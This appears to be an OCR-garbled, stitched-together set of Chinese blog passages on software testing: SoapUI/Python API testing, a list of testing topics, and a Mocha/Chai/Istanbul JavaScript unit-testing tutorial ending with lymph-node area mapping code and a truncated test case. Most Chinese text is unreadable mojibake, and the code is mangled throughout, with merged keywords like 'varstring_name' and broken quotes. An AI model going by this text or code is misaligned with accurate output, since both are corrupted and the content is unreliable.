Eooy bR, o A 2 B #E A Python 8, i X T H AEAR B 2 (bR FA BB FEILT,
4t SoapUl A7 | F.

REE-NEOHARRFREZHTEM T KA (BANTE 302N 80), EHA
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B O AN OB A W 437 B AR R By Case, RAEICE HLBURAI MY, FRT SoapUl &% & 3L
out of memory & [, SHMALE SILAFHRAMT. X TELINE 0 Soapul
HRRWERAE S, FEEF 5w, BdE TE, o fiddler %% httpdebugger, 74 08y
wsdl/iwadl 1% 2|, #R/5 & 5 & RKBAT, I M0RABZTE —MRIFH LA,

MEFEI A, FEEEOBERRS, 24 00KA SoapUl, FHATE ¥ DL E 4
BN, KZBRmA LB RALKEGHRT BAERAR I, RONXIUBERT —
ANEE, BhR AT A R WA 1R SR, SR e R R R B e R, R SR T R T 46 K L
ZA, HEERTNA, EXARZERESE, EXRRVBESH, — k- Fxisen
B SER T R AR, BEATME#ERERT . wREHZAEE D LNKE, X
BEE P swBERFF, SARHT. FRBRERBTRESE D M, HAFLEX,
RETE T Mg F —Rit Tk, ABEREMNED T EITH, #OXRH
[0 R0 50 7 B R AR D . R S AR A AR X S TR R A AR L W IR AR T N B
o B H DR 4 O E A fodE O Case, —A £ 1%, XREWAEILK.

HTRATEONRERE, AN EE IR SoapUl, AW AEXANFTHE
LIEES, AMALAEHMOE, EEREE K, SAFRZ B #E o KL
W, WlEHak, FLEVRRAFN, AERNENTE AR ERED, TEREHR
REFR. EAMRAFRLRF T AR E, T2 .

B oK NERE, FAXET, wRE-ADAMEONRK, BLES, wR
REMNAN—RBE—ANTE A E DR, A58, DR B8 & F R o
UK % A ERZIM AR A A M. KL E RN SH0KE| Global, A #=Z & A
RATTT B AL RSH, R4 K ih F a9k, BT &A= #1$ docker #F fi 42 31
5i. BT UATT R HY ip MR R B A, BT LRI IP $RBUL K E| Global B 244, X
NG RA A, (82T —/M54H Global 44 B MAMAL —H, HHA®4 ip,
HHIA® 4 URL, X3t5 B4 Global By kAR S . TREXE T —f# 0 WK%
B, RFREE XA, B e LR, RITE — DA D R, WA R EAR
Hi, % AHBAERAG 2] SN AR L, T AR AR HATH, BEif T Teamcity
BATR MR A, A A0 RATRAERBRE KT . HE, WABKT RS KEH,
ARG R TEME L p AR R, SAEA, SRRz AEET. X
TRAETHX LK, WREAMIWA, TEETHFTZ, BREHANZRE2H
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RARH, O MKAEFALE, LI EERAMNKANE, MLRweE 20N
WRPEF RAR, REZHEBRRALLEFOAH. IRFEEAAZHRAXANER, 5
HEREEFHNEeMHE, IHEREFIE. FELRBMEDEAUNIRERRS S
WA R E s o B H N E 2 E 0.
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=X FHBNSINICHE B
SEBWE : = B

—. APIEFKEH

ERAWAL, WERESERHA, WRAFKEE, RE”BREHFFRXMIFLEX
& E i,

=, AWIEFAE

> HRMRAR

RSV FEIITE, AHNEBEHRNE,

7

18 B 5 K A AR — AR A A B P s A B LN BRI . R R sk
] — R ALE 5P A F R S5, TR R&E — SR ENNE, Hix—AFHi.
®JE &b e, AR M WE R —EE 2P F R R, TULERX—RER
U

> BAREEEH

ARGFEXLETFRE THAENIOR. ERIRS %
PRI EiESL, TR RER &, WHEZIEE T ZK

LA W E R TR IR A

2.

%

FEER| TR AEXAOFR P RANEERAR —F, BRI EERERFHI =
, EXHEED, mT B WE KRS BRI E, wRERHIEF L EARSR
s BN H AR, B AL R

> ®RERE
HFFe— TR ARENAE. FRETAGHE, FRITRRLEMATHE K

T ™
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R E, NIZAILRK, HRES R EHT KUY,
%

ER TR FRER P HANEGRE, FRI RN RSIE DR EfdE w0 AN
Bl&, malgwklEaazelr ol TRECAHNINRE — &, KZUNEAER
A MRIE, WAt WA BRI S 0 A A flE REILE . TR R P
FEAE M EREIRE. B THANEELL, AR Tt TH RE R,
$iZz 3F 700 WA B 00 T R

> Ja 4 todo

FTERELSWNTRALER. FHRIANNHAE.
% & todo EiLWE# todo WA A todo i F A
1

BRI FRFEUHBRRNE LR PR, (B2 8 YA B T 4 a5 2K
#, FIURZ-AMFRANNE. EATFRRI, FoHBEERATHRE, REH
TR BA, T R A EAR YR AN B (] R 1A R, BT DL A todo Y 5 5T AR TR

> Mg s

HTERKERESEAWNGES.

%

B TR PR P LKA B B S R — Ry E A E R
PR, IR IR4AEE H 8:00PM A 11 EHTE, FHEZIEHAKERERT
Pushserver fR 4%, EEF P 3 T.59PM & T % 12 %, WHZE P snhRie s 11 £
N

> FREOAGHREEA

E—ANFEF, THRPKAANZNFLEMZANNK, R EERE - PDFLEDAM
—NREE A, DU JE 4t (5] R AN v 38 An IR E Y A S

> RERETR2W
WRAVFHFRAGABER LR E, ¥HEFEFKENR, ELWERFFLR.
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FRFAEEEE TRV
%

BRI TR REZL, Zith, TARSFFENNE, AUTRENE
BHEUSCER-THERNE, FUEX2VERNRE, FRaREREEE-T, T

ReEWHBETR.
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JavaScript Bipillin #l22-Mocha+chai

® E & : 2R

WE&T:

ZH B AR F AR (2 E oY RAEM K NE, F I REMHFE S
HARIEE T —ANEA, WEG T RXKAXE, AXE ARG LTS, A
FX29? AN T AN 5 F B E ER0 IS B 4? AL EES T, mWE
R EEFERTUNEEEDNXAAERAR2K T, FEFHATIS R THRK A1,
W ot H BT X AL shit — 8y IS KA,

S RAF AR

l5]: “JavaScript 1 Java {4 % %2 7

XERINEERE: “GEMFELNKXR

REEWEER: “FEHEMEANEN X R (FENIE, FETHEEE).

FHWE T IS By shit I AEARAT, BATGRAFHEE R ERINEEN TE, LA
T, H Z3E# Mocha #2742 A chai B = )& — & Istanbul (B &£ 51t ) FE R AT M.

i~ E mES L3, S REN kK —%& Mocha(K T<BE-E")EXRE FiE!!!

—. Mocha A~48:

mocha ;= — 2K I4 ik F & #) javascript ¥ LMRAES , E BEF LLIEAT7E nodejs FR3E H ,
0, 7T DAIEAT 7R W S AR BR3E

javascript 2 — 1242155, REZWHARZAREZ L HAT. FH PSRN
i, HEAWAHRNREEEZEFETBRTT, MREIPHBH, T ZNRE
2 FFEIE . promise Bt By 77 3Kk A B K 45 R B IE A M T . mocha T DL R AT
javascript S i B 51 )5
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mocha 2 & AT AT BA14 B B9 M 7], = DT R 48 7K 5 8 4 1 <t 52 461 Y [
BF, ORIES H R 7E A AR 4 R A

Chai /& —/Mt ¢ Node.js Fn | Vi, 25 847 7 5K 2 035K o K 38 20 A 4 o7 = ), ° 5 4%
i JavaScript X AEZE £ Ak .

Istanbul ;= —4~ JavaScript &K #E &R &, HA T Hk:

o Wit EIEEM. HpIMESE R, UK H TRGRDITE &
® B hm 3 4 T R I B R BR AR D

® WAITTETZATHIE ZRAEN node ¥ TMK, FF F 3T MHK 4T HAT I 1E
® 4k HTML fu LCOV #itk

® F{ENFEE A, A BB AT R

® T FEar AATH DUE By R A

= MmN

1. JavaScript &1if

PS: FARRER/RKT, K8 OE IS 2ah ko R B3t o)

1.1, JavaScript W& &

IS R EWAAAN:

1) mF#E. K5, THE4AR, Kok E

2) ST BT K

3) REATRAZS, ERNTHRE

4) A gk A# F JavaScript F H) < EF T B4

XEFEHN:

£ JavaScript #, i Var v A FE L&, YRTEL T DUNEF B, e B
RAFEH A KA RFHH L B0 LA,
length=16;//Number

varstring_name="Johnson";//String
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vardatalist=["Audi","Fox","Lecsax"];//Array

varperson={firstName:"John",lastName:"Doe"};//Object

ISHERERB A HEXR AT XA
o EXRAZEMLEER:
1)d R B e, RAEERT.
QRF HMENEEAS.
3) {7 typeof A&l 4 iy K AL
4) EARKA Y RAERA,
o SIAXAMTERLR:
1) dAREAEE, REEES.
2) PRAFFr B 6 R 48 1 X R — AN AT
3) f# /A instanceof #b Il 4 3 oy K AL
4) A new() 7 iE A i oy 1t R 51 AL
X EWER B A LG A H:

2R LB H BN L B AT R BN R XYL var A 68 8) T DU AT
HRA.

Jey B AL (0 e B A var 7 B B R B o R B S HOR B R R R A

JavaScript & & 4 & B #i £ v B W B AT 461

R # R B B IAT R K

ARREETEXMEHE, B REHEAHK, BN -HFE.
1.2. JavaScript 3 %R

® Undefined:

i F| var = B BB R R AT R4, X RGN R & Kok & W 8 & &4 A typeof
iz & 434 4% E undefined; undefined & 7% & F0 null A 7=="34T th & Bt 2 3% [ true, B H
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undefined Jk & B null. 7 9% 3¢ LB HATH DLREAT4E 64 null,
® Null:
null & 7r — /N2 Xt & B 454, 88 typeof £ 2& null B4 [ object.

® Boolean:

true N E, false A {8. HATE boolen()xt &k i 4e 2k Ay R 8 ¥4 78 1 4% e vt 1 21,
M 4m T

e, FRHME, FEXZIAT boolen()4: 4kt 5 [ true.

RFfF#, 0 K& NaN, null % undefined ¥ 4T boolen()4 4 it 42 [F] false.

® String:

BB SANE| T AR XM A length B F T4 B K T E — B4
#, HETHRE, BRURLHHEBZFEAHFHE.

String # % WAy 46 30 \n #4T; WHELRA \b =4 r EES A \BHT\

Ha ) KA 45 4 string B B HUF B AR, 441% toString()F String().

# H number,boolean, string, object b & number & & 4 45 {5 3£ 4045 A toString() 24T
ik,

Null, undefined {# Jf String() i £k #E4T 7% | 28 A 4 3 B 32 1E .
® Number:

NaN #4- 3: notaNumber 5% 2 JE k(8. 7% & NaN B /E# ¥ 3% E] NaN; NaN
SR BEfn rEEaFELE .

® Object:
Object & — A KR T f & 5.

1.3. JavaScript ¥ #y iz & 4
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+ JmE

: Rt

* I iE

/ %S

% B (£%0)

- b 4

- B

&& #ig LG

I % 4

! 7 48 4F

1.4. JavaScript ¥ B R & HIEH

® If/elseif/else FE#1E 4] -

If( R R X AN
KRB 1
Yelseif(F & 4 R B){
KA B2

Yelse{

KA 3

¥

® Switch/case ¥ ##iE 4]
Switch(% &k 34 K ){
Case fr 4 A:

RAE L,

Break;

Case #74 B

A B 2;
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Break;
Default:
KA B
}

® While &3R5 4]
While(F &k X
B PAT IR B
}
While {5 31 e A0 & S B AT AR AE, ¥ 66 — KB 3R A 34T
® Do-while fEE1iE 4 :
Do{
TEFR AT B K A5 B
Jwhile(Z 1 74 K);
Do-while {3 e AT IE AR 4 B B Ae & 41, do-while fE3F £ D 34T — K.
® For fE3IEA:
For (18 2R & B =41 %6 8 ;16 28 4 132 38 138 R 1+ 40028 ){
B PATR A B
}
P ER R BRI 38 1H 5 08 30 4 A8 L BOR B R & AT 3R,
® For-in fHIMIEA]:
For(F A A & in 4 2){
R &
}

{8 2t B9 R R4 ke, xR BV(EA B2 null & undefined.
ERFARRA 3 M PkaEiE4:
Return==%41F & #1247, FFRE —ME.
Break==%% | &/ 3K.

Continue==% K Y B 1E3F, H W2 & AT T KGR,
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FEAEBAH 4

Throw==2E 2/t 1} 3 % .
Try==318 "0 F Z AR N KA K.
Catch==H 1K+ ¥ .
Finally==/z #{ 4 3.

1.5. JavaScript ¥ B & $k

BB AR T F R AR, BTE A T x99 function:
functionfunctionname(varl,var2)
{
AT
¥
LR ZE A, R PATR BN B R,

AUEEES LA AEEA R (bl F 2 & H4%48 ), 3 B9 1 JavaScript

FEALAT AL B HEAT R .
JavaScript & K/N5 Rk, K417 function S A2 /NF B, B ULE & # 4 Al
EEREANCE I RO

1.6, JavaScript ¥ # k4

B 3 RO R R B A R AT — R TR

RSt ik

varobj=newArray();

A 248 K ey 4 AL

varobj=newAurray(9);

B 46 T 7 A AL

varobj=newAvrray(‘hello’,‘word” ‘this’ ‘is’,*JS");

4 2 698 2 varobj=[];

T — N R DUE R B Rt &, B By JavaScript ZEA R AR A TER AL
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AR, TUE—MAPEaNEnE. B H4l.
1.7. JavaScript f DOM By & 1E
KB A
document.getElementByld(7G % ID)i# it & ID FRELH .
document.getElementsByName(7G & name J& 1) ¢ 7T & 87 name & 4 TR BT A
document.getElementsBy TagName( 75, Z 47 £5) i 18 75 & AR 2 FR BU .
X AR
document.getElementByld("p1").innerHTML="57 S 4 !1";
1.8. JavaScript H &y window xt %
® window fn document #y X 7 :
1. window #§ % . document & 7 . document & window #y —ANF X % .
2. A8 7% document.location( 43X = Y AT B XAS YL B). (B, T LRE

window.location(Jf & S A% B 2 w7 S A% )window.location 8 & 152 — /M3t &,
document.location & A& R & — AN F 48,
Window *t % # EAr ¥ &

window.document.getElementByld("header");

Window xt & #t ¥ & i AE
window.document.getElementByld("'txtOperationDay").value="${F & B H}";
{

PS: Ul B s LR B 7 55 T8 4E, N ¥ A

window.document.getElementByld() % 77 i 3 B A8 ;

L%, X T T A YRR
ExecuteJavascript$(“#txtSteepReference").val("${i% i /& E}")
BT 7T & 8 A
ExecuteJavascriptreturn$(“#txtCancerBasicLevel").val()

3T IS KA FHE
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ExecuteJavascript$(“#SavelnvolveRangeAndDerived").click()

}
2. FERE

%% node T~ Z W, 1 HATRE;
%% mocha: npminstall-gmocha

%% chai: npmi—gchai

in=tall -g mocha

chai

7% istanbul: npminstall-gistanbul

“Mochai*npm install —g istanbul

—» netwo — (HEHHHHEHER

HERE TE L

3. EHKE

AT 56 KA 2 /N T e~
KB add js

functionadd(x,y){

returnx+y;

}

1% AT A St ) o 4K

module.exports=add;

5 exports A8 th, module.exports 52 E IF B3 0, exports R A3t 2 B8y — N By TH.
i #3518 #54 JF 8 & Module.exports i 4<% exports.
BT A1 By exports W& 2| B B M An ik, #IK(E% T module.exports. %48, AR, B
7 module.exports A& & F A& (LB M Fo 77 3% . 4R, module.exports B2 4 B & — 2 &M
fagr ik, A4 exports WU 3k B 1 BOR i A RE

B 5 MR A

varadd=require('./add.js");
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varexpect=require(‘chai').expect;
describe('# # # iK', function()
{
it('4 fn 3 By % R 1% % T 8, function()
{
expect(add(4,3)).to.be.equal(7);
3
it(Hello fn 3 #y 4 K Ji 1% % T Hello3', function()
{
expect(add('Hello',3)).to.be.equal('Hello3');
3
it(Hello A1 World #) % R ki % % T HelloWorld',function()
{
expect(add('Hello','World")).to.be.equal('HelloWorld");
3
}
);
[*
describe Jk 18 I KL TR B 4" (testsuite ), ks — AR X B K.
it R R B IERATEE L, it BedE A sh 2 "MK A f]" (testcase), Fam — /N4 6y
PN ZE v
describe HkH 7 LUE 2 B A it k.
chai B & J& # & expect 0 should % # B = api 7 LA, RFEMNAEHFHE.
[*

ATV 2| T E B F T K ATH 4 mochaadd.test.js 25 R 4n [A:
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J:'i “Mochai“demoB1>*mocha add.test.js

3z,

SERRTUE AT — AL js I ST Fo B MR ST T R A R B B T

FEle Edit View MNawvigate Code Refactor Run Tools WVCS Window Help

Mochai [ Clinical } [ src } [958 DeriveB2-LNSpread.js ;
(- Project v € = | - 1- | [# DeriveB2-LNSpread,js % | [5 GetTransferLNSpread.testjs X
Mochai Dh\IE=FC0= \Mocha = i
Clinical 1e
15 Fi & ERY1)-EE X2)-F2 (12
report [ P
15 = {"PK":"", "ISFK":"", "ThroatBefor
src 7 _—
= DerlveBE-LNSpread.Js 18 expect_resolt = JS50F stringifv ({"HumberAre
test 19
% GetTransferLNSpread.testjs 20 expect (JSON. stringify (GetTransfer [ NSpread (nai
demo(l 21 IR

EALZWT . B3 F 5 AIT LA B 0 IF ST R
I L —A> KB JSON 7 ZRRAF B2 A2 3k 0 Mk 5 H T I 5 e &
varMicroscopeToolKit=

{

AreaNames:

{
titleData:

{

ThroatBeforeArea:""% 7] T X ",
SternumTopArea:"fi] & k% T X",
LeftAreaTop:" 2 4 b B,
LeftAreaMiddle:" 7 74 # F&",
LeftAreaUnder:"Z ¥ T~ £",
RightAreaTop:"# ¥ L ",
RightAreaMiddle:" 7 ¥4 & ",
RightUnderOneTwo:"4 # T Bctfk 1-2

u.‘é
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RightUnderOneThree:" 4 ¥ T Beofr 1-3 £,
LTwoAArea:" % lla X",
LTwoBArea:"Z Ilb X",
LThreeArea:"Z 111 X",
LFourArea:" £ IV K",
LMuscleArea:" 7 L[] X",
RTwoAArea:"# lla X",
RTwoBArea:"# Ilb X",
RThreeArea:"# 111 X",
RFourArea:"# IV X",
RMuscleArea:"# JilLJa] X",
LFiveAArea:" 4 Va X",
LFiveBArea:"Z Vb X",

L Mediastinal Area:" £ 7] £ 44 g X",
LOnebArea:" %4 Ib X",
LParapharyngeal Area:" 7= " 5 [X ",
LVeinholeArea:" % /i J& X ",
RFiveAArea:"# Va X",
RFiveBArea:"# Vb X",
RMediastinalArea:"# #] -2\ fig X",
ROnebArea:"# Ib X",
RParapharyngeal Area:" 7 "f 2 [X ",
RVeinholeArea:" 4 il J& X ",

}

1

AreaNumbers:

{

"HE R L X0,

"HE g X0,

" £ B0,

"7 v B0,

AR B0,

"7 lla X™0,
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"Z b X™0,

"Z X0,

"Z IV X™0,
"2 L TE X0,

"7 Va X0,

"% Vb X0,
"Ew EAME X0,
"% Ib X™0,
"7 % X0,

"k AR X0,

"H i EBO,
" B0,
T BAF 1-2 F 0,
“H T BAF 1-3 F 0,
"% lla X™0,

"# b X™0,

"A X0,

"H IV X™0,

" AL JEl X0,

"& Va X0,

"# Vb X0,

“H AR X0,
"# Ib X™0,
" % X0,

"“H UK X0,

b

Numbers:

{
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5:"®",

6:©",

7@,

8" ®"

}

j 3

PRIRBU A B Ln A th B A 2 ™)
functionGetTransferLNSpread(MainSide,LNData)

{

/Ivarthat=this;
vartemps=ExeTransferLNSpread(LNData);
varrtnObj=

{

NumberAreaList:temps,

L:{

NumberArea:[],

Numberinx:[],

ForwardStation:function(){
variMax=Math.max.apply(null,this.NumberInx);
varstrList=[];

if(iMax>0){
variNumber=MicroscopeToolKit.Numbers[iMax];
for(vari=0;i<this.NumberArea.length;i++){
if(iNumber!=""&&this.NumberArea[i].indexOf(iNumber)>0)
strList.push(this.NumberArea[i].replace(iNumber,"));

}
returnstrList.toString();

¥

return'™";

¥
2

R
{
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NumberArea:[],

Numberinx:[],

ForwardStation:function()

{

variMax=Math.max.apply(null,this.NumberInx);
varstrList=[];

if(iMax>0)

{

variNumber=MicroscopeToolKit.Numbers[iMax];
for(vari=0;i<this.NumberArea.length;i++)

{
if(iNumber!=""&&this.NumberArea[i].indexOf(iNumber)>0)
strList.push(this.NumberArea[i].replace(iNumber,""));

}
returnstrList.toString();

}

return™";

}

}

h

varisLmainOrRmain=MainSide;

for(varkeyintemps)

{

if(isLmainOrRmain=="left")

{

if(key=="" #[ . X "&&temps[key]>0){
rtnObj.L.NumberArea.push(key+Microscope ToolKit.Numbers[temps[key]]);
rtnObj.L.NumberInx.push(temps[key]);

}

if(key=="H1F b & T X "&&temps[key]>0){
rtnObj.L.NumberArea.push(key+Microscope ToolKit.Numbers[temps[key]]);

rtnObj.L.NumberInx.push(temps[key]);
¥
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}

elseif(isLmainOrRmain=="right")

{

if(key==""% 7l I [X "&&temps[key]>0){
rtnObj.R.NumberArea.push(key+MicroscopeToolKit. Numbers[temps[key]]);
rtnObj.R.NumberInx.push(temps[key]);

¥

if(key=="H1& L& T X "&&temps[key]>0){
rtnObj.R.NumberArea.push(key+MicroscopeToolKit. Numbers[temps[key]]):

rtnObj.R.NumberInx.push(temps[key]);

}

}

if((key.indexOf(" £ ")>=0&&temps[key]>0)){
rtnObj.L.NumberArea.push(key+MicroscopeToolKit.Numbers[temps[key]]);
rtnObj.L.NumberInx.push(temps[key]);

}

elseif(key.indexOf("#")>=0&&temps[key]>0)

{

rtnObj.R.NumberArea.push(key+MicroscopeToolKit. Numbers[temps[key]]);

rtnObj.R.NumberInx.push(temps[key]);

}

}
returnrtnObj;

}
IIH BT IR A % % Ln A

functionExeTransferLNSpread(Data)

{
[Ivarthat=this;

varmData=Data;

varareaNumbers={"" g I X ":0," i & b & I X":0," A ¥ b B™0," 2 & BL™0," &2 7 T #"0," £ lla
X"0,"Z b X™:0,"Z Il K™0,"% IV K™0,"Z /L& X™0," £ Va X":0,"Z Vb X™0,"Z 7l £ 4 7 X0,
Z b X0, "2 ¥ 57 X ":0," & MK X ™0," % W £ B0, W o B0, v T B 1-2 R0, A T T B
1-3 ™0,"& Ha X™0,"% Ilb X™0,"%& Il X":0,"& IV X™0,"& AL X™0,"4 Va X"0,"& Vb X™0,"#
BT E AR X0, b X0, & v 3 X ":0," 4 iUk X ":0%;
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if(IsTransfer(mData. ThroatBeforeArea))
areaNumbers["" & I X "]=1;
if(IsTransfer(mData.SternumTopArea))
areaNumbers["fi & £ & T X"]=1;
if(areaNumbers["* 5] I X "]>0|jareaNumbers["f7 & L & I X "]>0)
{

if(IsTransfer(mData.LeftAreaTop))
areaNumbers["Z 74 + £ "]=2;
if(IsTransfer(mData.LeftAreaMiddle))
areaNumbers[" £ 7 F B "]=2;
if(IsTransfer(mData.RightAreaTop))
areaNumbers["# 74 £ F"]=2;
if(IsTransfer(mData.RightAreaMiddle))
areaNumbers[" 4 74 & B£"]=2;

}

else

{

if(IsTransfer(mData.LeftAreaTop))
areaNumbers["Z 74 _+ B "]=1;
if(IsTransfer(mData.LeftAreaMiddle))
areaNumbers[" £ 7 F B "]=1;
if(IsTransfer(mData.RightAreaTop))
areaNumbers["# ¥ £ B "]=1;
if(IsTransfer(mData.RightAreaMiddle))
areaNumbers[" 4 74 & B£"]=1;

}

if(areaNumbers[" 2 74 = F£"]>0)

{

if(IsTransfer(mData.LeftAreaUnder))
areaNumbers[" £ % T £ "]=areaNumbers[" £ 74 & B "]+1;
if(IsTransfer(mData.LMuscleArea))
areaNumbers["Z Al J&] X "]=areaNumbers[" 7 74 # Ft"]+1;
if(IsTransfer(mData.LMediastinal Area))
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areaNumbers["Z I - L Jig X "]=areaNumbers[" 2 ¥ # £ "]+1;
}

else

{

if(areaNumbers["* 7] I X "]>0||areaNumbers[" A9 & L & T X "]>0){
if(IsTransfer(mData.LeftAreaUnder))
areaNumbers["Z 74 T £ "]=2;
if(IsTransfer(mData.LMuscleArea))
areaNumbers[" Z AL J&] X "]=2;
if(IsTransfer(mData.LMediastinal Area))
areaNumbers["Z #7 -4\ g X "]=2;

}

else

{

if(IsTransfer(mData.LeftAreaUnder))
areaNumbers["Z 74 T #"]=1;
if(IsTransfer(mData.LMuscleArea))
areaNumbers[" Z AL J&] X "]=1;
if(IsTransfer(mData.LMediastinal Area))
areaNumbers["Z #7 _E 27 X =1,

}

}

if(IsTransfer(mData.LMediastinal Area))
{

if(areaNumbers[" Z 74 T £"]>0)
areaNumbers[" Z ] - 2 Jig X "]=areaNumbers[" 2 ¥ T £ "]+1;
}

if(IsTransfer(mData.LTwoAArea))
areaNumbers["Z lla X "]=1;
if(IsTransfer(mData.LTwoBArea))
areaNumbers["Z 1lb X"]=2;
if(IsTransfer(mData.LThreeArea))

areaNumbers["Z 11l X"]=2;
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if(IsTransfer(mData.LFourArea))

{

varnumberAttr=[];

if(areaNumbers[" 2 ¥4 T £'">0)
numberAttr.push(areaNumbers[" 7 74 T £t "]+1);
elseif(areaNumbers["Z 74 # £ "]>0)
numberAttr.push(areaNumbers[" 7 74 # £t "]+1);
elseif(areaNumbers["% g 3 [X "]>0|jareaNumbers[" i & £ & T X "]>0)
numberAttr.push(2);

else

numberAttr.push(1);

if(areaNumbers["Z 111 X"]>0)
numberAttr.push(areaNumbers["Z 11l X "]+1);
elseif(areaNumbers["Z Ila X "]>0)
numberAttr.push(2);

else

numberAttr.push(1);

if(numberAttr.length>0)

{

variMax=Math.max.apply(null,numberAttr);
areaNumbers["Z 1V X "]=iMax;

}

}

if(IsTransfer(mData.LFiveAArea))

{

if(areaNumbers["Z Ilb [X"]>0)
areaNumbers["Z Va X"=3;

else

areaNumbers["Z Va X"=2;

}

if(IsTransfer(mData.LFiveBArea))

{
if(areaNumbers["Z Va X "]>0)
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areaNumbers["Z Vb X "]=areaNumbers["Z Va X "]+1;
elseif(areaNumbers["Z IV [X"]>0)

areaNumbers["Z Vb X "]=areaNumbers["Z IV X"];
else

areaNumbers["Z Vb X"]=3;

}

if(IsTransfer(mData.LOnebArea))

areaNumbers[" % b X"]=2;
if(IsTransfer(mData.LParapharyngeal Area))
areaNumbers[" £ " 5 X "]=3;
if(IsTransfer(mData.LVeinholeArea))

{

if(areaNumbers[" Z ¥ 57 [X "]>0)

areaNumbers[" Z /il J& [X "J=areaNumbers[" £ f 55 X "]+1;
elseif(areaNumbers["Z Ib X "]>0)

areaNumbers["Z fJ& X "]=areaNumbers["Z Ib X "]+1;
else

areaNumbers[" £ /i J& X "]=4;

}

1>

if(areaNumbers["#& # # F£"]>0)

{

if(IsTransfer(mData.RightUnderOneTwo))
areaNumbers[" 7 % T~ B A% 1-2 Fr"]=areaNumbers[" 7 ¥ ¥ B "]+1;
if(IsTransfer(mData.RightUnderOneThree))
areaNumbers[" 7 74 T B4 1-3 | "]=areaNumbers["# 74 B "]+1;
if(IsTransfer(mData.RMuscleArea))

areaNumbers["# JlL 4] [X "J=areaNumbers["74 74 # B "]+1;
if(IsTransfer(mData.RMediastinal Area))
areaNumbers[" 7 B - A Jig X "]=areaNumbers["# /4 & B "]+1;
}

else
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if(areaNumbers["* 7 I [X "]>0|lareaNumbers["f5 & & i [X "]>0)
{

if(IsTransfer(mData.RightUnderOneTwo))
areaNumbers[" & 74 T £ 4f 1-2 "]=2;
if(IsTransfer(mData.RightUnderOneThree))
areaNumbers[" & 74 T £ 4f 1-3 k "]=2;
if(IsTransfer(mData.RMuscleArea))
areaNumbers["# AL J&] X "]=2;
if(IsTransfer(mData.RMediastinal Area))
areaNumbers["# I - 4 fg X "]=2;

}

else

{

if(IsTransfer(mData.RightUnderOneTwo))
areaNumbers["#& % T B A4fF 1-2 F"]=1;
if(IsTransfer(mData.RightUnderOneThree))
areaNumbers["#& % T B 4F 1-3 F"]=1;
if(IsTransfer(mData.RMuscleArea))
areaNumbers["& AL & X "]=1;
if(IsTransfer(mData.RMediastinal Area))
areaNumbers["# #] £ 4\ @ X "]=1;

}

}

if(IsTransfer(mData.RMediastinal Area))

{

if(areaNumbers["% 74 T BcAff 1-2 Fr"1>0)
areaNumbers[" 7 B - W i X "]=areaNumbers["# ¥ T B4 1-2 F"]+1;
elseif(areaNumbers["# 74 T BAf 1-3 £ "1>0)
areaNumbers[" 7 B - 0 i X "]=areaNumbers["# 4 T B4 1-3 5 "]+1;
}

if(IsTransfer(mData.RTwoAArea))
areaNumbers[" % lla X"]=1;
if(IsTransfer(mData.RTwoBArea))
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areaNumbers["# IIb X"]=2;
if(IsTransfer(mData.RThreeArea))
areaNumbers["# 1l X")=2;
if(IsTransfer(mData.RFourArea))

{

varnumberAttr=[];

if(areaNumbers["74 74 T B4 1-2 £ "]>0)
numberAttr.push(areaNumbers["# 74 T Bt 1-2 | "]+1);
elseif(areaNumbers[" & 7 T B4 1-3 i "]>0)
numberAttr.push(areaNumbers[" 7 ¥ T BAf 1-3 F]+1);
elseif(areaNumbers["4 74 # £ "]>0)
numberAttr.push(areaNumbers["# 74 F £t "]+1);
elseif(areaNumbers["* gJ 3 [X "]>0|jareaNumbers["f] & £ & T X "]>0)
numberAttr.push(2);

else

numberAttr.push(1);

if(areaNumbers["# 11l X"]>0)
numberAttr.push(areaNumbers["4& 11l X"]+1);
elseif(areaNumbers["# Ila X "]>0)
numberAttr.push(2);

else

numberAttr.push(1);

if(numberAttr.length>0){
variMax=Math.max.apply(null,numberAttr);
areaNumbers[" % IV X"]=iMax;

}

}

if(IsTransfer(mData.RFiveAArea))

{

if(areaNumbers["%& 1lb [X"]>0)
areaNumbers["# Va X "]=3;

else

areaNumbers["# Va X "]=2;
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}

if(IsTransfer(mData.RFiveBArea))

{

if(areaNumbers["# Va X "]>0)

areaNumbers["# Vb X "]=areaNumbers["# Va [X"]+1;
elseif(areaNumbers["#A IV [X"]>0)

areaNumbers["# Vb X "]=areaNumbers["& IV X"];
else

areaNumbers["# Vb X"]=3;

}

if(IsTransfer(mData.ROnebArea))

areaNumbers["# Ib X"]=2;
if(IsTransfer(mData.RParapharyngeal Area))
areaNumbers[" 4 ¥ 57 X "]=3;
if(IsTransfer(mData.RVeinholeArea))

{

if(areaNumbers[" 4 "# 5 X "]>0)

areaNumbers[" 7 /i J& X "]=areaNumbers[" 7 " 37 X "]+1;
elseif(areaNumbers["# Ib X "]>0)

areaNumbers["# /il J& [X "]=areaNumbers[" & Ib X"]+1;
else

areaNumbers["# & X "]=4;

}

returnareaNumbers;

}

[* VBT AL E T A R
functionlsTransfer(field)

{

vartemps=field.split('/");

if(temps.length==2&&temps[0]!=""&&!isNaN(temps[0]) &&!isNaN(temps[1]) &&temps[0]>0)
returntrue;

returnfalse;
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module.exports=GetTransferLNSpread;

T E AR e 55 AW 2 48 it 6 R 6] (R 2K B 06 R B R R AR R B T 3)

/**

*CreatedbylP-2060n2016/10/27.

*/
varGetTransferLNSpread=require(’../src/DeriveB2-LNSpread.js’);
varexpect=require(‘chai').expect;

describe

(

"# % LN 441 Jk 4 function()

{

it(4 % LN 247 Ji 4 -Case01', function()
{

AR

MM HT T K (Y1)-F B B8 (Y1)- R B (Y2)-F B (Y2)-T B/Af 1-2,1-3 Be- LT X (Y3)-#T L
(Y4)-2a(Y1)-2b(Y2)-3 X (Y2)-4 X (Y4>Yy3=Y4)-5a [X(Y3)-5b X (Y4)-1b X (Y2)-"H 57 (Y3)-Fil & (Y4)
vardata={"Pk":"","TSFK":"" " ThroatBeforeArea":"1/1","SternumTopArea™:"2/3","LeftAreaTop™:"3/4" " Left
AreaMiddle™:"4/5" "LeftAreaUnder":"5/6","RightAreaTop™:"/","RightAreaMiddle™:"/","RightUnderOneTwo
""" "RightUnderOneThree™:"/","LTwoAArea":"7/8","LTwoBArea":"8/9","LThreeArea™:"9/10","LFourArea
":"10/11","LFiveAArea™:"11/12" "LFiveBArea":"12/13","LMuscleArea™:"13/14" "RTwoAArea":"/","RTwoB
Area":"/""RThreeArea":"/","RFourArea™:"/","RFiveAArea":"/","RFiveBArea™:"/","RMuscleArea™:"/","MetT
umorMemo™:"","Created Time":"/Date(1477624861662)/","Createdld™:"30048","Updated Time":"/Date(1477
